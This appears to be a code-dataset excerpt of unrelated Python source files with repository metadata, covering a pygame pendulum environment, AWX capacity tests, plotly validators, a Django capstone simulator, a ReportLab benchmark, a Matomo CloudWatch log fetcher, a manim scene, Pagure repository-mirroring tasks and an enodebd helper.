pygame.quit() SCALE = 100 BLACK = (0, 0, 0) WHITE = (255, 255, 255) RED = (255, 0, 0) GRAY = (128, 128, 128) tip_x = self.POS[0]+self.len_wheel*sin(self.theta_rod)*SCALE tip_y = self.POS[1]-self.len_wheel*cos(self.theta_rod)*SCALE POSTIP = np.array([tip_x, tip_y]) POSWHEEL = np.array(([tip_x+self.rad_wheel*sin(self.theta_wheel)*SCALE, tip_y+self.rad_wheel*cos(self.theta_wheel)*SCALE])) #print(POSTIP) self.screen.fill(WHITE) pygame.draw.line(self.screen, BLACK, self.POS, POSTIP, 10) pygame.draw.circle(self.screen, GRAY, POSTIP, self.rad_wheel*2*SCALE) pygame.draw.circle(self.screen, RED, POSWHEEL, self.rad_wheel*2*SCALE//5) img = self.hint_font.render("torque : % .4f" % self.torque, True, BLACK) img2 = self.hint_font.render("voltage: % .4f" % self.voltage, True, BLACK) img3 = self.hint_font.render("Evaluation Run %d" % eval_run, True, BLACK) self.screen.blit(img, (self.origin_x, self.origin_y / 2 - 50)) self.screen.blit(img2, (self.origin_x, self.origin_y / 2 - 30)) self.screen.blit(img3, (self.origin_x / 5, self.origin_y / 2 - 50)) pygame.display.update() def step(self, action): q1 = self.theta_rod q2 = self.theta_wheel q1_dot = self.theta_rod_dot q2_dot = self.theta_wheel_dot l1 = self.len_rod l2 = self.len_wheel m1 = self.mass_rod m2 = self.mass_wheel I1 = self.momentum_rod I2 = self.momentum_wheel dt = self.dt g = self.gravity gear_ratio = 25 kt = 0.0229 ke = 0.0229 R = 0.71 action_scale = 12 #torque = action voltage = action * action_scale torque = gear_ratio*kt/R*(voltage-ke*gear_ratio*q2_dot) Ip = m1*l1**2+m2*l2**2+I1+I2 a = (m1*l1+m2*l2)*g*sin(angle_normalize(q1)) newq1_dot = q1_dot + ((a-torque)/(Ip-I2))*dt #print("rod ang_vel",newq1_dot) #newq1_dot = np.clip(newq1_dot, -self.max_speed, self.max_speed) #print("rod ang_vel",newq1_dot) newq1 = angle_normalize(angle_normalize(q1) + newq1_dot * dt) #print("rod angle",newq1) newq2_dot = q2_dot + ((torque*Ip-a*I2)/I2/(Ip-I2))*dt newq2_dot = np.clip(newq2_dot, -self.max_speed, self.max_speed) #print("wheel ang_vel",newq2_dot) newq2 = angle_normalize(angle_normalize(q2) + newq2_dot * dt) #print("wheel angle",newq2) #print("torque",torque) #print("\n") #print([torque, newq1[0], newq2[0], newq1_dot[0], newq2_dot[0]]) state = np.array([newq1[0], newq1_dot[0], newq2_dot[0]], dtype=np.float32) self.theta_rod = newq1 self.theta_wheel = newq2 self.theta_rod_dot = newq1_dot self.theta_wheel_dot = newq2_dot self.torque = torque self.voltage = voltage costs = 100 * angle_normalize(q1)**2 + 0.1 * q1_dot**2 + 0.001 * voltage**2 return state, -costs, False, {} def close(self): pygame.display.quit() pygame.quit() def angle_normalize(th): return ((th+pi)%(2*pi))-pi

34.45283

149

0.606061

4a07cafd2d288e185520b6aac23a4f9fd46f699b

3,701

py

Python

awx/main/tests/unit/models/test_ha.py

tongtie/awx

1f34d4c1346cb2d79f0f13727d9d823d7df9ad6f

[ "Apache-2.0" ]

1

2020-03-03T10:15:32.000Z

awx/main/tests/unit/models/test_ha.py

tongtie/awx

1f34d4c1346cb2d79f0f13727d9d823d7df9ad6f

[ "Apache-2.0" ]

35

2019-04-04T16:53:20.000Z

2021-06-02T04:31:23.000Z

awx/main/tests/unit/models/test_ha.py

akus062381/awx

0ac3a377fdb74acb2ecbeb286bd1998d6d72a42a

[ "Apache-2.0" ]

null

import pytest from unittest import mock from unittest.mock import Mock from decimal import Decimal from awx.main.models import InstanceGroup, Instance @pytest.mark.parametrize('capacity_adjustment', [0.0, 0.25, 0.5, 0.75, 1, 1.5, 3]) def test_capacity_adjustment_no_save(capacity_adjustment): inst = Instance(hostname='test-host', capacity_adjustment=Decimal(capacity_adjustment), capacity=0, cpu_capacity=10, mem_capacity=1000) assert inst.capacity == 0 assert inst.capacity_adjustment == capacity_adjustment # sanity inst.set_capacity_value() assert inst.capacity > 0 assert inst.capacity == (float(inst.capacity_adjustment) * abs(inst.mem_capacity - inst.cpu_capacity) + min(inst.mem_capacity, inst.cpu_capacity)) def T(impact): j = mock.Mock(spec_set=['task_impact', 'capacity_type']) j.task_impact = impact j.capacity_type = 'execution' return j def Is(param): """ param: [remaining_capacity1, remaining_capacity2, remaining_capacity3, ...] [(jobs_running1, capacity1), (jobs_running2, capacity2), (jobs_running3, capacity3), ...] """ instances = [] if isinstance(param[0], tuple): for (jobs_running, capacity) in param: inst = Mock() inst.capacity = capacity inst.jobs_running = jobs_running inst.node_type = 'execution' instances.append(inst) else: for i in param: inst = Mock() inst.remaining_capacity = i inst.node_type = 'execution' instances.append(inst) return instances class TestInstanceGroup(object): @pytest.mark.parametrize( 'task,instances,instance_fit_index,reason', [ (T(100), Is([100]), 0, "Only one, pick it"), (T(100), Is([100, 100]), 0, "Two equally good fits, pick the first"), (T(100), Is([50, 100]), 1, "First instance not as good as second instance"), (T(100), Is([50, 0, 20, 100, 100, 100, 30, 20]), 3, "Pick Instance [3] as it is the first that the task fits in."), (T(100), Is([50, 0, 20, 99, 11, 1, 5, 99]), None, "The task don't a fit, you must a quit!"), ], ) def test_fit_task_to_most_remaining_capacity_instance(self, task, instances, instance_fit_index, reason): ig = InstanceGroup(id=10) instance_picked = ig.fit_task_to_most_remaining_capacity_instance(task, instances) if instance_fit_index is None: assert instance_picked is None, reason else: assert instance_picked == instances[instance_fit_index], reason @pytest.mark.parametrize( 'instances,instance_fit_index,reason', [ (Is([(0, 100)]), 0, "One idle instance, pick it"), (Is([(1, 100)]), None, "One un-idle instance, pick nothing"), (Is([(0, 100), (0, 200), (1, 500), (0, 700)]), 3, "Pick the largest idle instance"), (Is([(0, 100), (0, 200), (1, 10000), (0, 700), (0, 699)]), 3, "Pick the largest idle instance"), (Is([(0, 0)]), None, "One idle but down instance, don't pick it"), ], ) def test_find_largest_idle_instance(self, instances, instance_fit_index, reason): def filter_offline_instances(*args): return filter(lambda i: i.capacity > 0, instances) ig = InstanceGroup(id=10) instances_online_only = filter_offline_instances(instances) if instance_fit_index is None: assert ig.find_largest_idle_instance(instances_online_only) is None, reason else: assert ig.find_largest_idle_instance(instances_online_only) == instances[instance_fit_index], reason

40.228261

150

0.636044

4a07cc6a3df5f8ffe171c1e54131fb6c7ae69d78

601

py

Python

env/lib/python3.8/site-packages/plotly/validators/streamtube/lighting/_facenormalsepsilon.py

acrucetta/Chicago_COVI_WebApp

a37c9f492a20dcd625f8647067394617988de913

[ "MIT", "Unlicense" ]

76

2020-07-06T14:44:05.000Z

2022-02-14T15:30:21.000Z

env/lib/python3.8/site-packages/plotly/validators/streamtube/lighting/_facenormalsepsilon.py

acrucetta/Chicago_COVI_WebApp

a37c9f492a20dcd625f8647067394617988de913

[ "MIT", "Unlicense" ]

11

2020-08-09T02:30:14.000Z

2022-03-12T00:50:14.000Z

env/lib/python3.8/site-packages/plotly/validators/streamtube/lighting/_facenormalsepsilon.py

acrucetta/Chicago_COVI_WebApp

a37c9f492a20dcd625f8647067394617988de913

[ "MIT", "Unlicense" ]

11

2020-07-12T16:18:07.000Z

2022-02-05T16:48:35.000Z

import _plotly_utils.basevalidators class FacenormalsepsilonValidator(_plotly_utils.basevalidators.NumberValidator): def __init__( self, plotly_name="facenormalsepsilon", parent_name="streamtube.lighting", **kwargs ): super(FacenormalsepsilonValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, edit_type=kwargs.pop("edit_type", "calc"), max=kwargs.pop("max", 1), min=kwargs.pop("min", 0), role=kwargs.pop("role", "style"), **kwargs )

30.05

80

0.607321

4a07ccbb39f5c328690fe7feca5b30efa8f5e709

5,778

py

Python

portal/capstone/models.py

LDSSA/portal

9561da1e262678fe68dcf51c66007c0fb13eb51a

[ "MIT" ]

2

2020-11-09T03:48:36.000Z

2021-07-02T14:30:09.000Z

portal/capstone/models.py

LDSSA/portal

9561da1e262678fe68dcf51c66007c0fb13eb51a

[ "MIT" ]

132

2020-04-25T15:57:56.000Z

2022-03-10T19:15:51.000Z

portal/capstone/models.py

LDSSA/portal

9561da1e262678fe68dcf51c66007c0fb13eb51a

[ "MIT" ]

1

2020-10-24T16:15:57.000Z

import logging from datetime import datetime, timezone from urllib.parse import urljoin from django.db import models from django.conf import settings from portal.hackathons.models import random_path from portal.users.models import User logger = logging.getLogger(__name__) class Capstone(models.Model): name = models.CharField(max_length=1024) scoring = models.FileField(upload_to=random_path, null=True, blank=True) def __str__(self): return self.name def score(self): # Load scoring glob = {} script = self.scoring.read().decode() exec(script, glob) for api in self.studentapi_set.all(): # noinspection PyUnresolvedReferences,PyUnboundLocalVariable score = glob["score"](self, api) api.score = score api.save() class StudentApi(models.Model): capstone = models.ForeignKey(Capstone, models.CASCADE) user = models.ForeignKey(User, models.CASCADE) url = models.CharField(max_length=255, blank=True) score = models.FloatField(default=0) class Simulator(models.Model): capstone = models.ForeignKey( Capstone, models.CASCADE, related_name="simulators" ) name = models.CharField(max_length=1024) started = models.DateTimeField(null=True) ends = models.DateTimeField(null=True) interval = models.DurationField(null=True) # example: predict path = models.CharField(max_length=255) STATUS_CHOICES = ( ("stopped", "stopped"), ("start", "start"), ("started", "started"), ("paused", "paused"), ("reset", "reset"), ("ended", "ended"), ) status = models.CharField( choices=STATUS_CHOICES, default="queued", max_length=64 ) def start(self): if self.status == "start": # Started manually through the admin logger.info("Starting simulator: %s", self) now = datetime.now(timezone.utc) self.started = now self.status = "started" self.save() self.create_due_datapoints(now) def create_due_datapoints(self, starts): logger.info("Creating due datapoints for %s", self) self.due_datapoints.all().delete() datapoints = self.datapoints.order_by("id").all() student_apis = StudentApi.objects.filter( capstone=self.capstone ).exclude(url="") interval = (self.ends - starts) / datapoints.count() # Assuming one producer we are queueing BLOCK_SIZE requests per cycle # to queue enough requests we need to queue at least # (PRODUCER_INTERVAL / interval) * number of students required_requests_per_cycle = student_apis.count() * ( settings.PRODUCER_INTERVAL / interval.total_seconds() ) logger.debug("Block size: %s", settings.BLOCK_SIZE) logger.debug("Required requests: %s", required_requests_per_cycle) if settings.BLOCK_SIZE < required_requests_per_cycle: raise RuntimeError( f"Number of queued requests per cycle is not enough, " f"required {required_requests_per_cycle}", f"consumed {settings.BLOCK_SIZE}", ) self.interval = interval self.save() for student_api in student_apis: self.add_student_api(student_api, datapoints, starts) def add_student_api(self, student_api, datapoints, starts=None): logger.info( "Creating due datapoints for simulator %s student %s", self, student_api.student, ) due = starts or datetime.now(timezone.utc) interval = (self.ends - starts) / datapoints.count() logger.debug("Starting: %s", due) logger.debug("Ending: %s", self.ends) logger.debug("Count: %s", datapoints.count()) logger.debug("Interval: %s", interval) url = urljoin(student_api.url, self.path) due_datapoints = [] for datapoint in datapoints: due_datapoints.append( DueDatapoint( simulator=self, datapoint=datapoint, user=student_api.student, due=due, url=url, ) ) due += interval DueDatapoint.objects.bulk_create(due_datapoints) def __str__(self): return self.name def reset(self): if self.status == "reset": logger.info("Resetting simulator %s", self) self.due_datapoints.all().delete() self.status = "stopped" self.save() class Datapoint(models.Model): simulator = models.ForeignKey( Simulator, models.CASCADE, related_name="datapoints" ) data = models.TextField(blank=True) outcome = models.TextField(blank=True) class DueDatapoint(models.Model): simulator = models.ForeignKey( Simulator, models.CASCADE, related_name="due_datapoints" ) url = models.TextField() datapoint = models.ForeignKey(Datapoint, models.CASCADE) user = models.ForeignKey(User, models.CASCADE) due = models.DateTimeField(null=True) STATE_CHOICES = ( ("due", "due"), ("queued", "queued"), ("success", "success"), ("fail", "fail"), ) state = models.CharField( choices=STATE_CHOICES, default="due", max_length=64 ) response_content = models.TextField(blank=True) response_exception = models.TextField(blank=True) response_traceback = models.TextField(blank=True) response_elapsed = models.FloatField(null=True) response_status = models.IntegerField(null=True) response_timeout = models.BooleanField(default=False)

31.922652

77

0.624264

4a07ccdffe18e08c8f4b3b3a5a5949c3f078e928

4,323

py

Python

demos/odyssey/odyssey.py

sbluen/reportlab

98758940eeae30db80bbc9c555e42b8c89b86be8

[ "BSD-3-Clause" ]

8

2018-11-01T10:40:18.000Z

2021-12-16T03:20:48.000Z

demos/odyssey/odyssey.py

sbluen/reportlab

98758940eeae30db80bbc9c555e42b8c89b86be8

[ "BSD-3-Clause" ]

2

2015-03-16T18:32:58.000Z

2019-03-20T07:17:04.000Z

demos/odyssey/odyssey.py

sbluen/reportlab

98758940eeae30db80bbc9c555e42b8c89b86be8

[ "BSD-3-Clause" ]

26

2015-03-16T18:27:04.000Z

2022-03-25T10:08:33.000Z

#Copyright ReportLab Europe Ltd. 2000-2012 #see license.txt for license details __version__=''' $Id$ ''' ___doc__='' #odyssey.py # #Demo/benchmark of PDFgen rendering Homer's Odyssey. #results on my humble P266 with 64MB: # Without page compression: # 239 pages in 3.76 seconds = 77 pages per second # With textOut rather than textLine, i.e. computing width # of every word as we would for wrapping: # 239 pages in 10.83 seconds = 22 pages per second # With page compression and textLine(): # 239 pages in 39.39 seconds = 6 pages per second from reportlab.pdfgen import canvas import time, os, sys #find out what platform we are on and whether accelerator is #present, in order to print this as part of benchmark info. try: import _rl_accel ACCEL = 1 except ImportError: ACCEL = 0 from reportlab.lib.units import inch, cm from reportlab.lib.pagesizes import A4 #precalculate some basics top_margin = A4[1] - inch bottom_margin = inch left_margin = inch right_margin = A4[0] - inch frame_width = right_margin - left_margin def drawPageFrame(canv): canv.line(left_margin, top_margin, right_margin, top_margin) canv.setFont('Times-Italic',12) canv.drawString(left_margin, top_margin + 2, "Homer's Odyssey") canv.line(left_margin, top_margin, right_margin, top_margin) canv.line(left_margin, bottom_margin, right_margin, bottom_margin) canv.drawCentredString(0.5*A4[0], 0.5 * inch, "Page %d" % canv.getPageNumber()) def run(verbose=1): if sys.platform[0:4] == 'java': impl = 'Jython' else: impl = 'Python' verStr = '%d.%d' % (sys.version_info[0:2]) if ACCEL: accelStr = 'with _rl_accel' else: accelStr = 'without _rl_accel' print 'Benchmark of %s %s %s' % (impl, verStr, accelStr) started = time.time() canv = canvas.Canvas('odyssey.pdf', invariant=1) canv.setPageCompression(1) drawPageFrame(canv) #do some title page stuff canv.setFont("Times-Bold", 36) canv.drawCentredString(0.5 * A4[0], 7 * inch, "Homer's Odyssey") canv.setFont("Times-Bold", 18) canv.drawCentredString(0.5 * A4[0], 5 * inch, "Translated by Samuel Burton") canv.setFont("Times-Bold", 12) tx = canv.beginText(left_margin, 3 * inch) tx.textLine("This is a demo-cum-benchmark for PDFgen. It renders the complete text of Homer's Odyssey") tx.textLine("from a text file. On my humble P266, it does 77 pages per secondwhile creating a 238 page") tx.textLine("document. If it is asked to computer text metrics, measuring the width of each word as ") tx.textLine("one would for paragraph wrapping, it still manages 22 pages per second.") tx.textLine("") tx.textLine("Andy Robinson, Robinson Analytics Ltd.") canv.drawText(tx) canv.showPage() #on with the text... drawPageFrame(canv) canv.setFont('Times-Roman', 12) tx = canv.beginText(left_margin, top_margin - 0.5*inch) for fn in ('odyssey.full.txt','odyssey.txt'): if os.path.isfile(fn): break data = open(fn,'r').readlines() for line in data: #this just does it the fast way... tx.textLine(line.rstrip()) #page breaking y = tx.getY() #get y coordinate if y < bottom_margin + 0.5*inch: canv.drawText(tx) canv.showPage() drawPageFrame(canv) canv.setFont('Times-Roman', 12) tx = canv.beginText(left_margin, top_margin - 0.5*inch) #page pg = canv.getPageNumber() if verbose and pg % 10 == 0: print 'formatted page %d' % canv.getPageNumber() if tx: canv.drawText(tx) canv.showPage() drawPageFrame(canv) if verbose: print 'about to write to disk...' canv.save() finished = time.time() elapsed = finished - started pages = canv.getPageNumber()-1 speed = pages / elapsed fileSize = os.stat('odyssey.pdf')[6] / 1024 print '%d pages in %0.2f seconds = %0.2f pages per second, file size %d kb' % ( pages, elapsed, speed, fileSize) import md5 print 'file digest: %s' % md5.md5(open('odyssey.pdf','rb').read()).hexdigest() if __name__=='__main__': quiet = ('-q' in sys.argv) run(verbose = not quiet)

29.408163

109

0.647698

4a07cd41ba079b24efc37fcd542877b1a58c8803

3,977

py

Python

fetch_missing_matomo_requests.py

alphagov/verify-matomo-tool

b3461f56c38ec4c004b3d3c73d26b986154136ac

[ "MIT" ]

1

2019-10-22T11:29:31.000Z

fetch_missing_matomo_requests.py

alphagov/verify-matomo-tool

b3461f56c38ec4c004b3d3c73d26b986154136ac

[ "MIT" ]

1

2021-06-01T23:49:20.000Z

fetch_missing_matomo_requests.py

alphagov/verify-matomo-tool

b3461f56c38ec4c004b3d3c73d26b986154136ac

[ "MIT" ]

2

2019-08-29T14:01:57.000Z

2021-04-10T19:34:26.000Z

from datetime import datetime, timedelta, timezone import os import boto3 import time from _decimal import Decimal NUM_OF_DAYS = 'NUM_OF_DAYS' START_DATE = 'START_DATE' def print_unset_env_variable_error_and_exit(environment_variable): print(environment_variable, " environment variable is not set.") exit(1) def validate_environment_variables(): if os.getenv(START_DATE) is None: print_unset_env_variable_error_and_exit(START_DATE) if os.getenv(NUM_OF_DAYS) is None: print_unset_env_variable_error_and_exit(NUM_OF_DAYS) def get_start_date(): try: return datetime.strptime(os.getenv(START_DATE), '%Y-%m-%dT%H:%M:%S%z') except ValueError: print("START_DATE has an invalid date and time format. It should be in %Y-%m-%dT%H:%M:%S%z") exit(1) def get_number_of_days(): try: return int(os.getenv(NUM_OF_DAYS)) except ValueError: print("NUM_OF_DAYS has an invalid format. It should be in integers only") exit(1) def wait_for_the_query_to_complete(response): queryId = response['queryId'] status = 'Running' while status != 'Complete': response = client.get_query_results(queryId=queryId) status = response['status'] time.sleep(1) return response def run_query(start_timestamp, end_timestamp): return client.start_query( logGroupName='matomo', startTime=int(start_timestamp.timestamp() * 1000), endTime=int(end_timestamp.timestamp() * 1000), queryString= """fields @message | sort @timestamp asc | filter @logStream like /matomo-nginx/ | filter status!='200' | filter status!='204' | filter user_agent!='ELB-HealthChecker/2.0' | filter path like /idsite=1/ | filter path like /rec=1/""", limit=10000 ) def write_requests_to_a_file(response, start_date, end_date, output_filename): with open(output_filename, 'a+') as f: for messages in response['results']: for message in messages: if message['field'] == '@message': f.write(message['value'] + '\n') break if __name__ == '__main__': validate_environment_variables() client = boto3.client('logs') start_date = get_start_date() num_of_days = get_number_of_days() end_date = start_date + timedelta(days=num_of_days) + timedelta(microseconds=-1) OUTPUT_FILENAME = start_date.strftime('%Y%m%d') + '_' + end_date.strftime('%Y%m%d') + '_matomo_requests.json' if os.path.exists(OUTPUT_FILENAME): os.remove(OUTPUT_FILENAME) for days in range(0, get_number_of_days()): current_date = start_date + timedelta(days=(days)) end_date = current_date + timedelta(days=1, microseconds=-1) start_timestamp = current_date.replace(tzinfo=timezone.utc).timestamp() end_timestamp = end_date.replace(tzinfo=timezone.utc).timestamp() duration = (end_date - current_date).total_seconds() offset = 60 * 5 num_of_iterations = int(duration / offset) for i in range(num_of_iterations): response = run_query(datetime.utcfromtimestamp(start_timestamp), (datetime.utcfromtimestamp((start_timestamp + offset)) + timedelta(microseconds=-1))) response = wait_for_the_query_to_complete(response) write_requests_to_a_file(response, start_date, end_date, OUTPUT_FILENAME) start_timestamp = start_timestamp + offset if Decimal(duration) / Decimal(offset) % Decimal(1) != Decimal(0): response = run_query(datetime.utcfromtimestamp(start_timestamp), (datetime.utcfromtimestamp((start_timestamp + offset)) + timedelta(microseconds=-1))) response = wait_for_the_query_to_complete(response) write_requests_to_a_file(response, start_date, end_date, OUTPUT_FILENAME)

35.828829

118

0.665829

4a07cdabb48f3e641cbfa7a14b9a8d8c7a9719b8

574

py

Python

2021-04-Python-SEA-ENGRSL-Workshops/Workshop_1-Python-for-Automation/s06a_Activity.py

shawnduong/manimations

1d36d9d1e7dff90a1a8da1e687ef442f750e29c5

[ "MIT" ]

null

2021-04-Python-SEA-ENGRSL-Workshops/Workshop_1-Python-for-Automation/s06a_Activity.py

shawnduong/manimations

1d36d9d1e7dff90a1a8da1e687ef442f750e29c5

[ "MIT" ]

null

2021-04-Python-SEA-ENGRSL-Workshops/Workshop_1-Python-for-Automation/s06a_Activity.py

shawnduong/manimations

1d36d9d1e7dff90a1a8da1e687ef442f750e29c5

[ "MIT" ]

null

from manim import * class s06a_Activity(Scene): def construct(self): mainTitle = Text("Activity: Automate Work Tasks") subtitleA = Text("Prepare to split into groups").scale(0.75) subtitleB = Text("and gain hands-on experience!").scale(0.75) mainTitle.shift(0.25*UP) subtitleA.next_to(mainTitle, DOWN) subtitleB.next_to(subtitleA, DOWN) actors = [mainTitle, subtitleA, subtitleB] self.play(Write(mainTitle)) self.wait(1) self.play(Write(subtitleA)) self.play(Write(subtitleB)) self.wait(3) self.play(*[FadeOut(actor) for actor in actors])

22.96

63

0.71777

4a07cec93de9105014339fe3755d5dc199389df5

183

py

Python

library/demo/main.py

park-sungmoo/jquery.flowchart_ultide

873b1b00caf832b67f9261d076ec71e61a64c513

[ "MIT" ]

81

2016-09-11T22:45:27.000Z

2022-02-22T15:12:21.000Z

library/tcl_procs/main.py

Cupidazul/ultide

6eac864540e19b23f30bd387310d09b84a3b1cf4

[ "MIT" ]

2

2019-01-26T20:39:14.000Z

2020-08-01T13:14:19.000Z

library/tcl_procs/main.py

Cupidazul/ultide

6eac864540e19b23f30bd387310d09b84a3b1cf4

[ "MIT" ]

34

2016-12-25T12:23:51.000Z

2021-06-11T10:12:57.000Z

import time def on_demo_ping(data, response, session_data): response['demo_response'] = 'Your message was "' + data['message'] + '". Time on server is: ' + str(time.time()) + '.'

45.75

122

0.655738

4a07cf2ed5de7eafb72da8c71569cb044f80ae51

8,431

py

Python

src/pagure/lib/tasks_mirror.py

yifengyou/learn-pagure

e54ba955368918c92ad2be6347b53bb2c24a228c

[ "Unlicense" ]

null

src/pagure/lib/tasks_mirror.py

yifengyou/learn-pagure

e54ba955368918c92ad2be6347b53bb2c24a228c

[ "Unlicense" ]

null

src/pagure/lib/tasks_mirror.py

yifengyou/learn-pagure

e54ba955368918c92ad2be6347b53bb2c24a228c

[ "Unlicense" ]

null

# -*- coding: utf-8 -*- """ (c) 2018 - Copyright Red Hat Inc Authors: Pierre-Yves Chibon <pingou@pingoured.fr> """ from __future__ import unicode_literals, absolute_import import base64 import datetime import logging import os import stat import struct import six import werkzeug.utils from celery import Celery from cryptography import utils from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import pagure.lib.query from pagure.config import config as pagure_config from pagure.lib.tasks_utils import pagure_task from pagure.utils import ssh_urlpattern # logging.config.dictConfig(pagure_config.get('LOGGING') or {'version': 1}) _log = logging.getLogger(__name__) if os.environ.get("PAGURE_BROKER_URL"): # pragma: no-cover broker_url = os.environ["PAGURE_BROKER_URL"] elif pagure_config.get("BROKER_URL"): broker_url = pagure_config["BROKER_URL"] else: broker_url = "redis://%s" % pagure_config["REDIS_HOST"] conn = Celery("tasks_mirror", broker=broker_url, backend=broker_url) conn.conf.update(pagure_config["CELERY_CONFIG"]) # Code from: # https://github.com/pyca/cryptography/blob/6b08aba7f1eb296461528328a3c9871fa7594fc4/src/cryptography/hazmat/primitives/serialization.py#L161 # Taken from upstream cryptography since the version we have is too old # and doesn't have this code (yet) def _ssh_write_string(data): return struct.pack(">I", len(data)) + data def _ssh_write_mpint(value): data = utils.int_to_bytes(value) if six.indexbytes(data, 0) & 0x80: data = b"\x00" + data return _ssh_write_string(data) # Code from _openssh_public_key_bytes at: # https://github.com/pyca/cryptography/tree/6b08aba7f1eb296461528328a3c9871fa7594fc4/src/cryptography/hazmat/backends/openssl#L1616 # Taken from upstream cryptography since the version we have is too old # and doesn't have this code (yet) def _serialize_public_ssh_key(key): if isinstance(key, rsa.RSAPublicKey): public_numbers = key.public_numbers() return b"ssh-rsa " + base64.b64encode( _ssh_write_string(b"ssh-rsa") + _ssh_write_mpint(public_numbers.e) + _ssh_write_mpint(public_numbers.n) ) else: # Since we only write RSA keys, drop the other serializations return def _create_ssh_key(keyfile): """Create the public and private ssh keys. The specified file name will be the private key and the public one will be in a similar file name ending with a '.pub'. """ private_key = rsa.generate_private_key( public_exponent=65537, key_size=4096, backend=default_backend() ) private_pem = private_key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.NoEncryption(), ) with os.fdopen( os.open(keyfile, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600), "wb" ) as stream: stream.write(private_pem) public_key = private_key.public_key() public_pem = _serialize_public_ssh_key(public_key) if public_pem: with open(keyfile + ".pub", "wb") as stream: stream.write(public_pem) @conn.task(queue=pagure_config["MIRRORING_QUEUE"], bind=True) @pagure_task def setup_mirroring(self, session, username, namespace, name): """Setup the specified project for mirroring.""" plugin = pagure.lib.plugins.get_plugin("Mirroring") plugin.db_object() project = pagure.lib.query._get_project( session, namespace=namespace, name=name, user=username ) public_key_name = werkzeug.utils.secure_filename(project.fullname) ssh_folder = pagure_config["MIRROR_SSHKEYS_FOLDER"] if not os.path.exists(ssh_folder): os.makedirs(ssh_folder, mode=0o700) else: if os.path.islink(ssh_folder): raise pagure.exceptions.PagureException("SSH folder is a link") folder_stat = os.stat(ssh_folder) filemode = stat.S_IMODE(folder_stat.st_mode) if filemode != int("0700", 8): raise pagure.exceptions.PagureException( "SSH folder had invalid permissions" ) if ( folder_stat.st_uid != os.getuid() or folder_stat.st_gid != os.getgid() ): raise pagure.exceptions.PagureException( "SSH folder does not belong to the user or group running " "this task" ) public_key_file = os.path.join(ssh_folder, "%s.pub" % public_key_name) _log.info("Public key of interest: %s", public_key_file) if os.path.exists(public_key_file): raise pagure.exceptions.PagureException("SSH key already exists") _log.info("Creating public key") _create_ssh_key(os.path.join(ssh_folder, public_key_name)) with open(public_key_file) as stream: public_key = stream.read() if project.mirror_hook.public_key != public_key: _log.info("Updating information in the DB") project.mirror_hook.public_key = public_key session.add(project.mirror_hook) session.commit() @conn.task(queue=pagure_config["MIRRORING_QUEUE"], bind=True) @pagure_task def teardown_mirroring(self, session, username, namespace, name): """Stop the mirroring of the specified project.""" plugin = pagure.lib.plugins.get_plugin("Mirroring") plugin.db_object() project = pagure.lib.query._get_project( session, namespace=namespace, name=name, user=username ) ssh_folder = pagure_config["MIRROR_SSHKEYS_FOLDER"] public_key_name = werkzeug.utils.secure_filename(project.fullname) private_key_file = os.path.join(ssh_folder, public_key_name) public_key_file = os.path.join(ssh_folder, "%s.pub" % public_key_name) if os.path.exists(private_key_file): os.unlink(private_key_file) if os.path.exists(public_key_file): os.unlink(public_key_file) project.mirror_hook.public_key = None session.add(project.mirror_hook) session.commit() @conn.task(queue=pagure_config["MIRRORING_QUEUE"], bind=True) @pagure_task def mirror_project(self, session, username, namespace, name): """Does the actual mirroring of the specified project.""" plugin = pagure.lib.plugins.get_plugin("Mirroring") plugin.db_object() project = pagure.lib.query._get_project( session, namespace=namespace, name=name, user=username ) repofolder = pagure_config["GIT_FOLDER"] repopath = os.path.join(repofolder, project.path) if not os.path.exists(repopath): _log.warning("Git folder not found at: %s, bailing", repopath) return ssh_folder = pagure_config["MIRROR_SSHKEYS_FOLDER"] public_key_name = werkzeug.utils.secure_filename(project.fullname) private_key_file = os.path.join(ssh_folder, public_key_name) if not os.path.exists(private_key_file): _log.warning("No %s key found, bailing", private_key_file) project.mirror_hook.last_log = "Private key not found on disk, bailing" session.add(project.mirror_hook) session.commit() return # Add the utility script allowing this feature to work on old(er) git. here = os.path.join(os.path.dirname(os.path.abspath(__file__))) script_file = os.path.join(here, "ssh_script.sh") # Get the list of remotes remotes = [ remote.strip() for remote in project.mirror_hook.target.split("\n") if project.mirror_hook and remote.strip() and ssh_urlpattern.match(remote.strip()) ] # Push logs = [] for remote in remotes: _log.info( "Pushing to remote %s using key: %s", remote, private_key_file ) (stdout, stderr) = pagure.lib.git.read_git_lines( ["push", "--mirror", remote], abspath=repopath, error=True, env={"SSHKEY": private_key_file, "GIT_SSH": script_file}, ) log = "Output from the push (%s):\n stdout: %s\n stderr: %s" % ( datetime.datetime.utcnow().isoformat(), stdout, stderr, ) logs.append(log) if logs: project.mirror_hook.last_log = "\n".join(logs) session.add(project.mirror_hook) session.commit() _log.info("\n".join(logs))

33.062745

141

0.689717

4a07cf31d0d44829ed4d57c80790ad3980cdbc25

3,980

py

Python

lte/gateway/python/magma/enodebd/devices/device_utils.py

rdefosse/magma

d12ac827d0cdb39f499ce202e9e1196cc50b68d7

[ "BSD-3-Clause" ]

1

2021-11-03T21:37:26.000Z

lte/gateway/python/magma/enodebd/devices/device_utils.py

rdefosse/magma

d12ac827d0cdb39f499ce202e9e1196cc50b68d7

[ "BSD-3-Clause" ]

36

2020-08-06T21:08:00.000Z

2021-05-21T05:51:23.000Z

lte/gateway/python/magma/enodebd/devices/device_utils.py

rdefosse/magma

d12ac827d0cdb39f499ce202e9e1196cc50b68d7

[ "BSD-3-Clause" ]

1

2021-07-12T09:37:07.000Z

""" Copyright 2020 The Magma Authors. This source code is licensed under the BSD-style license found in the LICENSE file in the root directory of this source tree. Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import re from magma.enodebd.exceptions import UnrecognizedEnodebError from magma.enodebd.logger import EnodebdLogger as logger class EnodebDeviceName(): """ This exists only to break a circular dependency. Otherwise there's no point of having these names for the devices """ BAICELLS = 'Baicells' BAICELLS_OLD = 'Baicells Old' BAICELLS_QAFA = 'Baicells QAFA' BAICELLS_QAFB = 'Baicells QAFB' BAICELLS_RTS = 'Baicells RTS' CAVIUM = 'Cavium' def get_device_name( device_oui: str, sw_version: str, ) -> str: """ Use the manufacturer organization unique identifier read during INFORM 